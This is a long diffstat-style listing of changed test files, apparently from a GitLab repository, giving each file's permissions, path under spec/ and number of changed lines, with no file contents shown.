-rw-r--r--spec/frontend/lib/utils/url_utility_spec.js115
-rw-r--r--spec/frontend/line_highlighter_spec.js9
-rw-r--r--spec/frontend/locale/index_spec.js86
-rw-r--r--spec/frontend/logs/stores/actions_spec.js6
-rw-r--r--spec/frontend/members/components/app_spec.js21
-rw-r--r--spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js12
-rw-r--r--spec/frontend/members/components/members_tabs_spec.js75
-rw-r--r--spec/frontend/members/components/table/members_table_spec.js19
-rw-r--r--spec/frontend/milestones/milestone_utils_spec.js47
-rw-r--r--spec/frontend/monitoring/components/charts/time_series_spec.js4
-rw-r--r--spec/frontend/monitoring/components/dashboard_actions_menu_spec.js7
-rw-r--r--spec/frontend/nav/components/top_nav_menu_item_spec.js2
-rw-r--r--spec/frontend/notes/components/comment_form_spec.js14
-rw-r--r--spec/frontend/notes/components/discussion_notes_spec.js14
-rw-r--r--spec/frontend/notes/components/noteable_note_spec.js7
-rw-r--r--spec/frontend/notes/stores/actions_spec.js75
-rw-r--r--spec/frontend/notifications/components/custom_notifications_modal_spec.js10
-rw-r--r--spec/frontend/notifications/components/notifications_dropdown_spec.js5
-rw-r--r--spec/frontend/operation_settings/components/metrics_settings_spec.js1
-rw-r--r--spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap1
-rw-r--r--spec/frontend/packages/shared/utils_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/app_spec.js35
-rw-r--r--spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js6
-rw-r--r--spec/frontend/packages_and_registries/settings/project/settings/__snapshots__/utils_spec.js.snap8
-rw-r--r--spec/frontend/packages_and_registries/settings/project/settings/components/__snapshots__/settings_form_spec.js.snap4
-rw-r--r--spec/frontend/packages_and_registries/settings/project/settings/components/settings_form_spec.js20
-rw-r--r--spec/frontend/packages_and_registries/settings/project/settings/utils_spec.js1
-rw-r--r--spec/frontend/pager_spec.js1
-rw-r--r--spec/frontend/pages/admin/application_settings/metrics_and_profiling/usage_statistics_spec.js57
-rw-r--r--spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap79
-rw-r--r--spec/frontend/pages/admin/users/components/delete_user_modal_spec.js167
-rw-r--r--spec/frontend/pages/admin/users/components/user_modal_manager_spec.js126
-rw-r--r--spec/frontend/pages/projects/forks/new/components/fork_form_spec.js23
-rw-r--r--spec/frontend/pages/projects/forks/new/components/fork_groups_list_item_spec.js4
-rw-r--r--spec/frontend/pages/projects/new/components/app_spec.js33
-rw-r--r--spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js25
-rw-r--r--spec/frontend/persistent_user_callout_spec.js15
-rw-r--r--spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js6
-rw-r--r--spec/frontend/pipeline_editor/components/editor/ci_editor_header_spec.js53
-rw-r--r--spec/frontend/pipeline_editor/components/editor/text_editor_spec.js10
-rw-r--r--spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js21
-rw-r--r--spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js6
-rw-r--r--spec/frontend/pipeline_editor/graphql/resolvers_spec.js39
-rw-r--r--spec/frontend/pipeline_editor/mock_data.js46
-rw-r--r--spec/frontend/pipeline_editor/pipeline_editor_app_spec.js176
-rw-r--r--spec/frontend/pipelines/empty_state_spec.js30
-rw-r--r--spec/frontend/pipelines/graph/mock_data.js8
-rw-r--r--spec/frontend/pipelines/graph/stage_column_component_spec.js64
-rw-r--r--spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap18
-rw-r--r--spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js57
-rw-r--r--spec/frontend/pipelines/pipelines_ci_templates_spec.js34
-rw-r--r--spec/frontend/pipelines/pipelines_spec.js89
-rw-r--r--spec/frontend/profile/preferences/components/profile_preferences_spec.js18
-rw-r--r--spec/frontend/projects/commit/components/branches_dropdown_spec.js3
-rw-r--r--spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap4
-rw-r--r--spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap6
-rw-r--r--spec/frontend/projects/settings/components/shared_runners_toggle_spec.js1
-rw-r--r--spec/frontend/projects/terraform_notification/terraform_notification_spec.js62
-rw-r--r--spec/frontend/registry/explorer/components/list_page/cleanup_status_spec.js87
-rw-r--r--spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js30
-rw-r--r--spec/frontend/registry/explorer/mock_data.js2
-rw-r--r--spec/frontend/releases/__snapshots__/util_spec.js.snap37
-rw-r--r--spec/frontend/releases/components/app_index_apollo_client_spec.js8
-rw-r--r--spec/frontend/releases/components/app_index_spec.js6
-rw-r--r--spec/frontend/reports/components/__snapshots__/grouped_issues_list_spec.js.snap1
-rw-r--r--spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js4
-rw-r--r--spec/frontend/repository/components/blob_button_group_spec.js117
-rw-r--r--spec/frontend/repository/components/blob_content_viewer_spec.js171
-rw-r--r--spec/frontend/repository/components/blob_edit_spec.js82
-rw-r--r--spec/frontend/repository/components/blob_header_edit_spec.js82
-rw-r--r--spec/frontend/repository/components/blob_replace_spec.js67
-rw-r--r--spec/frontend/repository/components/blob_viewers/__snapshots__/empty_viewer_spec.js.snap9
-rw-r--r--spec/frontend/repository/components/blob_viewers/download_viewer_spec.js70
-rw-r--r--spec/frontend/repository/components/blob_viewers/empty_viewer_spec.js14
-rw-r--r--spec/frontend/repository/components/blob_viewers/text_viewer_spec.js30
-rw-r--r--spec/frontend/repository/components/delete_blob_modal_spec.js130
-rw-r--r--spec/frontend/repository/components/table/__snapshots__/row_spec.js.snap3
-rw-r--r--spec/frontend/repository/components/tree_content_spec.js63
-rw-r--r--spec/frontend/repository/components/upload_blob_modal_spec.js4
-rw-r--r--spec/frontend/repository/log_tree_spec.js51
-rw-r--r--spec/frontend/right_sidebar_spec.js16
-rw-r--r--spec/frontend/runner/components/cells/runner_actions_cell_spec.js234
-rw-r--r--spec/frontend/runner/components/helpers/masked_value_spec.js51
-rw-r--r--spec/frontend/runner/components/runner_filtered_search_bar_spec.js27
-rw-r--r--spec/frontend/runner/components/runner_list_spec.js69
-rw-r--r--spec/frontend/runner/components/runner_manual_setup_help_spec.js9
-rw-r--r--spec/frontend/runner/components/runner_registration_token_reset_spec.js25
-rw-r--r--spec/frontend/runner/components/runner_tag_spec.js45
-rw-r--r--spec/frontend/runner/components/runner_tags_spec.js12
-rw-r--r--spec/frontend/runner/components/runner_update_form_spec.js33
-rw-r--r--spec/frontend/runner/components/search_tokens/tag_token_spec.js188
-rw-r--r--spec/frontend/runner/runner_detail/runner_details_app_spec.js27
-rw-r--r--spec/frontend/runner/runner_detail/runner_update_form_utils_spec.js96
-rw-r--r--spec/frontend/runner/runner_list/runner_list_app_spec.js31
-rw-r--r--spec/frontend/runner/runner_list/runner_search_utils_spec.js39
-rw-r--r--spec/frontend/runner/sentry_utils_spec.js39
-rw-r--r--spec/frontend/search/mock_data.js53
-rw-r--r--spec/frontend/search/store/actions_spec.js106
-rw-r--r--spec/frontend/search/store/getters_spec.js32
-rw-r--r--spec/frontend/search/store/mutations_spec.js9
-rw-r--r--spec/frontend/search/store/utils_spec.js197
-rw-r--r--spec/frontend/search/topbar/components/group_filter_spec.js56
-rw-r--r--spec/frontend/search/topbar/components/project_filter_spec.js38
-rw-r--r--spec/frontend/search/topbar/components/searchable_dropdown_spec.js87
-rw-r--r--spec/frontend/search_autocomplete_spec.js50
-rw-r--r--spec/frontend/search_autocomplete_utils_spec.js114
-rw-r--r--spec/frontend/security_configuration/components/auto_dev_ops_alert_spec.js55
-rw-r--r--spec/frontend/security_configuration/components/feature_card_spec.js25
-rw-r--r--spec/frontend/security_configuration/components/redesigned_app_spec.js82
-rw-r--r--spec/frontend/security_configuration/utils_spec.js22
-rw-r--r--spec/frontend/sentry/index_spec.js4
-rw-r--r--spec/frontend/sentry/sentry_config_spec.js8
-rw-r--r--spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap2
-rw-r--r--spec/frontend/sidebar/components/assignees/collapsed_assignee_spec.js8
-rw-r--r--spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js44
-rw-r--r--spec/frontend/sidebar/components/assignees/user_name_with_status_spec.js44
-rw-r--r--spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js6
-rw-r--r--spec/frontend/sidebar/components/todo_toggle/sidebar_todo_widget_spec.js126
-rw-r--r--spec/frontend/sidebar/lock/edit_form_buttons_spec.js10
-rw-r--r--spec/frontend/sidebar/mock_data.js37
-rw-r--r--spec/frontend/sidebar/sidebar_move_issue_spec.js6
-rw-r--r--spec/frontend/snippets/components/__snapshots__/snippet_blob_edit_spec.js.snap2
-rw-r--r--spec/frontend/snippets/components/edit_spec.js20
-rw-r--r--spec/frontend/snippets/components/snippet_blob_edit_spec.js4
-rw-r--r--spec/frontend/static_site_editor/services/submit_content_changes_spec.js10
-rw-r--r--spec/frontend/terraform/components/terraform_list_spec.js3
-rw-r--r--spec/frontend/token_access/mock_data.js84
-rw-r--r--spec/frontend/token_access/token_access_spec.js218
-rw-r--r--spec/frontend/token_access/token_projects_table_spec.js51
-rw-r--r--spec/frontend/tracking_spec.js46
-rw-r--r--spec/frontend/vue_alerts_spec.js4
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js70
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_rebase_spec.js14
-rw-r--r--spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js3
-rw-r--r--spec/frontend/vue_mr_widget/mock_data.js4
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap14
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/editor_lite_spec.js.snap14
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap14
-rw-r--r--spec/frontend/vue_shared/components/awards_list_spec.js18
-rw-r--r--spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js9
-rw-r--r--spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js16
-rw-r--r--spec/frontend/vue_shared/components/diff_viewer/viewers/image_diff_viewer_spec.js12
-rw-r--r--spec/frontend/vue_shared/components/dismissible_alert_spec.js41
-rw-r--r--spec/frontend/vue_shared/components/editor_lite_spec.js151
-rw-r--r--spec/frontend/vue_shared/components/file_finder/index_spec.js12
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js16
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js20
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js34
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js10
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js3
-rw-r--r--spec/frontend/vue_shared/components/notes/__snapshots__/placeholder_note_spec.js.snap2
-rw-r--r--spec/frontend/vue_shared/components/paginated_list_spec.js8
-rw-r--r--spec/frontend/vue_shared/components/project_avatar/default_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/project_avatar_spec.js67
-rw-r--r--spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js3
-rw-r--r--spec/frontend/vue_shared/components/resizable_chart/__snapshots__/resizable_chart_container_spec.js.snap30
-rw-r--r--spec/frontend/vue_shared/components/resizable_chart/resizable_chart_container_spec.js10
-rw-r--r--spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js5
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js10
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js19
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js29
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js113
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/actions_spec.js11
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/mutations_spec.js29
-rw-r--r--spec/frontend/vue_shared/components/sidebar/todo_button_spec.js68
-rw-r--r--spec/frontend/vue_shared/components/source_editor_spec.js151
-rw-r--r--spec/frontend/vue_shared/components/todo_button_spec.js48
-rw-r--r--spec/frontend/vue_shared/components/user_popover/user_popover_spec.js20
-rw-r--r--spec/frontend/vue_shared/components/user_select_spec.js44
-rw-r--r--spec/frontend/vue_shared/components/web_ide_link_spec.js8
-rw-r--r--spec/frontend/vue_shared/new_namespace/components/welcome_spec.js26
-rw-r--r--spec/frontend/vue_shared/new_namespace/new_namespace_page_spec.js7
-rw-r--r--spec/frontend/vue_shared/oncall_schedules_list_spec.js2
-rw-r--r--spec/frontend/vue_shared/plugins/global_toast_spec.js9
-rw-r--r--spec/frontend/vue_shared/security_reports/components/manage_via_mr_spec.js24
-rw-r--r--spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js37
-rw-r--r--spec/frontend/vue_shared/security_reports/mock_data.js11
-rw-r--r--spec/frontend/vue_shared/security_reports/security_reports_app_spec.js10
-rw-r--r--spec/frontend/vuex_shared/bindings_spec.js10
-rw-r--r--spec/frontend_integration/diffs/diffs_interopability_spec.js82
-rw-r--r--spec/frontend_integration/ide/helpers/ide_helper.js10
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/routes/diffs.js3
-rw-r--r--spec/frontend_integration/test_helpers/setup/setup_mock_server.js10
-rw-r--r--spec/frontend_integration/test_helpers/setup/setup_testing_library.js14
-rw-r--r--spec/graphql/features/authorization_spec.rb1
-rw-r--r--spec/graphql/features/feature_flag_spec.rb21
-rw-r--r--spec/graphql/gitlab_schema_spec.rb1
-rw-r--r--spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb4
-rw-r--r--spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb2
-rw-r--r--spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb2
-rw-r--r--spec/graphql/mutations/ci/job_token_scope/add_project_spec.rb65
-rw-r--r--spec/graphql/mutations/ci/job_token_scope/remove_project_spec.rb68
-rw-r--r--spec/graphql/mutations/custom_emoji/create_spec.rb1
-rw-r--r--spec/graphql/mutations/discussions/toggle_resolve_spec.rb2
-rw-r--r--spec/graphql/mutations/environments/canary_ingress/update_spec.rb1
-rw-r--r--spec/graphql/mutations/issues/create_spec.rb1
-rw-r--r--spec/graphql/mutations/issues/set_confidential_spec.rb4
-rw-r--r--spec/graphql/mutations/issues/set_severity_spec.rb3
-rw-r--r--spec/graphql/mutations/issues/update_spec.rb4
-rw-r--r--spec/graphql/mutations/labels/create_spec.rb2
-rw-r--r--spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb1
-rw-r--r--spec/graphql/mutations/release_asset_links/create_spec.rb18
-rw-r--r--spec/graphql/mutations/release_asset_links/delete_spec.rb25
-rw-r--r--spec/graphql/mutations/release_asset_links/update_spec.rb20
-rw-r--r--spec/graphql/mutations/releases/create_spec.rb22
-rw-r--r--spec/graphql/mutations/releases/delete_spec.rb30
-rw-r--r--spec/graphql/mutations/releases/update_spec.rb22
-rw-r--r--spec/graphql/mutations/security/ci_configuration/base_security_analyzer_spec.rb14
-rw-r--r--spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb4
-rw-r--r--spec/graphql/resolvers/ci/config_resolver_spec.rb20
-rw-r--r--spec/graphql/resolvers/ci/job_token_scope_resolver_spec.rb64
-rw-r--r--spec/graphql/resolvers/group_milestones_resolver_spec.rb19
-rw-r--r--spec/graphql/resolvers/issues_resolver_spec.rb36
-rw-r--r--spec/graphql/resolvers/project_milestones_resolver_spec.rb18
-rw-r--r--spec/graphql/resolvers/projects/jira_projects_resolver_spec.rb6
-rw-r--r--spec/graphql/resolvers/projects/services_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/projects_resolver_spec.rb24
-rw-r--r--spec/graphql/types/alert_management/prometheus_integration_type_spec.rb4
-rw-r--r--spec/graphql/types/base_field_spec.rb67
-rw-r--r--spec/graphql/types/ci/detailed_status_type_spec.rb16
-rw-r--r--spec/graphql/types/ci/group_type_spec.rb1
-rw-r--r--spec/graphql/types/ci/job_token_scope_type_spec.rb75
-rw-r--r--spec/graphql/types/ci/pipeline_type_spec.rb2
-rw-r--r--spec/graphql/types/ci/runner_type_spec.rb1
-rw-r--r--spec/graphql/types/ci/stage_type_spec.rb2
-rw-r--r--spec/graphql/types/ci/status_action_type_spec.rb20
-rw-r--r--spec/graphql/types/deployment_tier_enum_spec.rb15
-rw-r--r--spec/graphql/types/global_id_type_spec.rb3
-rw-r--r--spec/graphql/types/issuable_searchable_field_enum_spec.rb13
-rw-r--r--spec/graphql/types/issue_type_spec.rb4
-rw-r--r--spec/graphql/types/merge_request_type_spec.rb2
-rw-r--r--spec/graphql/types/milestone_type_spec.rb2
-rw-r--r--spec/graphql/types/notes/discussion_type_spec.rb1
-rw-r--r--spec/graphql/types/notes/noteable_interface_spec.rb23
-rw-r--r--spec/graphql/types/notes/noteable_type_spec.rb23
-rw-r--r--spec/graphql/types/project_type_spec.rb80
-rw-r--r--spec/graphql/types/projects/service_type_spec.rb2
-rw-r--r--spec/graphql/types/projects/services_enum_spec.rb2
-rw-r--r--spec/graphql/types/query_complexity_type_spec.rb35
-rw-r--r--spec/graphql/types/release_asset_link_type_spec.rb2
-rw-r--r--spec/graphql/types/snippets/blob_type_spec.rb3
-rw-r--r--spec/haml_lint/linter/documentation_links_spec.rb14
-rw-r--r--spec/helpers/admin/user_actions_helper_spec.rb41
-rw-r--r--spec/helpers/analytics/unique_visits_helper_spec.rb34
-rw-r--r--spec/helpers/application_settings_helper_spec.rb20
-rw-r--r--spec/helpers/blob_helper_spec.rb16
-rw-r--r--spec/helpers/ci/pipeline_editor_helper_spec.rb36
-rw-r--r--spec/helpers/ci/runners_helper_spec.rb16
-rw-r--r--spec/helpers/clusters_helper_spec.rb7
-rw-r--r--spec/helpers/commits_helper_spec.rb9
-rw-r--r--spec/helpers/diff_helper_spec.rb25
-rw-r--r--spec/helpers/emails_helper_spec.rb8
-rw-r--r--spec/helpers/environments_helper_spec.rb14
-rw-r--r--spec/helpers/gitlab_routing_helper_spec.rb17
-rw-r--r--spec/helpers/integrations_helper_spec.rb101
-rw-r--r--spec/helpers/issues_helper_spec.rb3
-rw-r--r--spec/helpers/namespaces_helper_spec.rb20
-rw-r--r--spec/helpers/nav/new_dropdown_helper_spec.rb27
-rw-r--r--spec/helpers/nav/top_nav_helper_spec.rb13
-rw-r--r--spec/helpers/operations_helper_spec.rb24
-rw-r--r--spec/helpers/packages_helper_spec.rb4
-rw-r--r--spec/helpers/projects/alert_management_helper_spec.rb14
-rw-r--r--spec/helpers/projects_helper_spec.rb33
-rw-r--r--spec/helpers/registrations_helper_spec.rb24
-rw-r--r--spec/helpers/releases_helper_spec.rb50
-rw-r--r--spec/helpers/services_helper_spec.rb85
-rw-r--r--spec/helpers/sessions_helper_spec.rb36
-rw-r--r--spec/helpers/user_callouts_helper_spec.rb12
-rw-r--r--spec/helpers/users_helper_spec.rb50
-rw-r--r--spec/initializers/100_patch_omniauth_saml_spec.rb5
-rw-r--r--spec/initializers/attr_encrypted_no_db_connection_spec.rb20
-rw-r--r--spec/initializers/global_id_spec.rb4
-rw-r--r--spec/initializers/lograge_spec.rb2
-rw-r--r--spec/initializers/mailer_retries_spec.rb18
-rw-r--r--spec/javascripts/lib/utils/mock_data.js2
-rw-r--r--spec/lib/api/entities/basic_project_details_spec.rb27
-rw-r--r--spec/lib/api/entities/bulk_import_spec.rb19
-rw-r--r--spec/lib/api/entities/bulk_imports/entity_failure_spec.rb19
-rw-r--r--spec/lib/api/entities/bulk_imports/entity_spec.rb26
-rw-r--r--spec/lib/api/entities/ci/job_request/image_spec.rb31
-rw-r--r--spec/lib/api/entities/ci/job_request/port_spec.rb22
-rw-r--r--spec/lib/api/entities/group_detail_spec.rb19
-rw-r--r--spec/lib/api/entities/job_request/image_spec.rb31
-rw-r--r--spec/lib/api/entities/job_request/port_spec.rb22
-rw-r--r--spec/lib/api/entities/plan_limit_spec.rb3
-rw-r--r--spec/lib/api/entities/user_spec.rb2
-rw-r--r--spec/lib/api/helpers/caching_spec.rb138
-rw-r--r--spec/lib/backup/database_spec.rb2
-rw-r--r--spec/lib/backup/gitaly_backup_spec.rb41
-rw-r--r--spec/lib/backup/repositories_spec.rb19
-rw-r--r--spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb10
-rw-r--r--spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb73
-rw-r--r--spec/lib/banzai/filter/upload_link_filter_spec.rb6
-rw-r--r--spec/lib/banzai/filter/wiki_link_filter_spec.rb18
-rw-r--r--spec/lib/banzai/reference_parser/base_parser_spec.rb33
-rw-r--r--spec/lib/bulk_imports/clients/graphql_spec.rb41
-rw-r--r--spec/lib/bulk_imports/clients/http_spec.rb54
-rw-r--r--spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb1
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb77
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/members_pipeline_spec.rb8
-rw-r--r--spec/lib/bulk_imports/groups/transformers/member_attributes_transformer_spec.rb28
-rw-r--r--spec/lib/bulk_imports/ndjson_pipeline_spec.rb7
-rw-r--r--spec/lib/bulk_imports/stage_spec.rb1
-rw-r--r--spec/lib/bulk_imports/users_mapper_spec.rb68
-rw-r--r--spec/lib/error_tracking/collector/sentry_request_parser_spec.rb44
-rw-r--r--spec/lib/extracts_path_spec.rb73
-rw-r--r--spec/lib/extracts_ref_spec.rb1
-rw-r--r--spec/lib/gitlab/analytics/unique_visits_spec.rb81
-rw-r--r--spec/lib/gitlab/auth/auth_finders_spec.rb24
-rw-r--r--spec/lib/gitlab/auth/ldap/adapter_spec.rb75
-rw-r--r--spec/lib/gitlab/background_migration/backfill_draft_status_on_merge_requests_spec.rb47
-rw-r--r--spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb6
-rw-r--r--spec/lib/gitlab/background_migration/backfill_upvotes_count_on_issues_spec.rb46
-rw-r--r--spec/lib/gitlab/background_migration/delete_orphaned_deployments_spec.rb63
-rw-r--r--spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb22
-rw-r--r--spec/lib/gitlab/background_migration/migrate_merge_request_diff_commit_users_spec.rb400
-rw-r--r--spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb2
-rw-r--r--spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb2
-rw-r--r--spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb41
-rw-r--r--spec/lib/gitlab/cache/helpers_spec.rb49
-rw-r--r--spec/lib/gitlab/cache/import/caching_spec.rb24
-rw-r--r--spec/lib/gitlab/changelog/ast_spec.rb246
-rw-r--r--spec/lib/gitlab/changelog/config_spec.rb12
-rw-r--r--spec/lib/gitlab/changelog/parser_spec.rb78
-rw-r--r--spec/lib/gitlab/checks/container_moved_spec.rb150
-rw-r--r--spec/lib/gitlab/checks/project_created_spec.rb31
-rw-r--r--spec/lib/gitlab/checks/project_moved_spec.rb124
-rw-r--r--spec/lib/gitlab/ci/ansi2json/line_spec.rb33
-rw-r--r--spec/lib/gitlab/ci/config/entry/artifacts_spec.rb51
-rw-r--r--spec/lib/gitlab/ci/config/entry/reports_spec.rb1
-rw-r--r--spec/lib/gitlab/ci/lint_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/matching/runner_matcher_spec.rb3
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb12
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/build_spec.rb54
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb81
-rw-r--r--spec/lib/gitlab/ci/reports/security/identifier_spec.rb125
-rw-r--r--spec/lib/gitlab/ci/reports/security/link_spec.rb31
-rw-r--r--spec/lib/gitlab/ci/reports/security/scan_spec.rb46
-rw-r--r--spec/lib/gitlab/ci/reports/security/scanned_resource_spec.rb30
-rw-r--r--spec/lib/gitlab/ci/reports/security/scanner_spec.rb146
-rw-r--r--spec/lib/gitlab/ci/reports/test_case_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/status/composite_spec.rb19
-rw-r--r--spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/templates/managed_cluster_applications_gitlab_ci_yaml_spec.rb5
-rw-r--r--spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/yaml_processor/dag_spec.rb41
-rw-r--r--spec/lib/gitlab/ci/yaml_processor_spec.rb100
-rw-r--r--spec/lib/gitlab/closing_issue_extractor_spec.rb2
-rw-r--r--spec/lib/gitlab/composer/cache_spec.rb1
-rw-r--r--spec/lib/gitlab/consul/internal_spec.rb2
-rw-r--r--spec/lib/gitlab/content_security_policy/config_loader_spec.rb30
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_job_spec.rb80
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb148
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_spec.rb26
-rw-r--r--spec/lib/gitlab/database/custom_structure_spec.rb65
-rw-r--r--spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb22
-rw-r--r--spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb5
-rw-r--r--spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb61
-rw-r--r--spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb113
-rw-r--r--spec/lib/gitlab/database/load_balancing/sticking_spec.rb83
-rw-r--r--spec/lib/gitlab/database/load_balancing_spec.rb16
-rw-r--r--spec/lib/gitlab/database/migration_helpers_spec.rb111
-rw-r--r--spec/lib/gitlab/database/partitioning/monthly_strategy_spec.rb121
-rw-r--r--spec/lib/gitlab/database/partitioning/partition_creator_spec.rb96
-rw-r--r--spec/lib/gitlab/database/partitioning/partition_manager_spec.rb161
-rw-r--r--spec/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers_spec.rb250
-rw-r--r--spec/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_spec.rb48
-rw-r--r--spec/lib/gitlab/database/postgres_index_spec.rb48
-rw-r--r--spec/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin_spec.rb38
-rw-r--r--spec/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin_spec.rb2
-rw-r--r--spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb2
-rw-r--r--spec/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin_spec.rb32
-rw-r--r--spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb303
-rw-r--r--spec/lib/gitlab/database/reindexing/coordinator_spec.rb18
-rw-r--r--spec/lib/gitlab/database/reindexing/index_selection_spec.rb57
-rw-r--r--spec/lib/gitlab/database/reindexing/reindex_concurrently_spec.rb134
-rw-r--r--spec/lib/gitlab/database/reindexing_spec.rb2
-rw-r--r--spec/lib/gitlab/database/schema_migrations/context_spec.rb78
-rw-r--r--spec/lib/gitlab/database/schema_migrations/migrations_spec.rb86
-rw-r--r--spec/lib/gitlab/database/schema_version_files_spec.rb95
-rw-r--r--spec/lib/gitlab/database/with_lock_retries_outside_transaction_spec.rb4
-rw-r--r--spec/lib/gitlab/database/with_lock_retries_spec.rb4
-rw-r--r--spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb4
-rw-r--r--spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb34
-rw-r--r--spec/lib/gitlab/database_spec.rb90
-rw-r--r--spec/lib/gitlab/deploy_key_access_spec.rb1
-rw-r--r--spec/lib/gitlab/diff/file_collection/base_spec.rb27
-rw-r--r--spec/lib/gitlab/diff/file_collection/commit_spec.rb8
-rw-r--r--spec/lib/gitlab/diff/file_collection/compare_spec.rb35
-rw-r--r--spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb36
-rw-r--r--spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb34
-rw-r--r--spec/lib/gitlab/diff/position_tracer/line_strategy_spec.rb46
-rw-r--r--spec/lib/gitlab/email/handler/service_desk_handler_spec.rb12
-rw-r--r--spec/lib/gitlab/email/receiver_spec.rb115
-rw-r--r--spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb68
-rw-r--r--spec/lib/gitlab/git/repository_spec.rb122
-rw-r--r--spec/lib/gitlab/git/user_spec.rb43
-rw-r--r--spec/lib/gitlab/git_access_snippet_spec.rb31
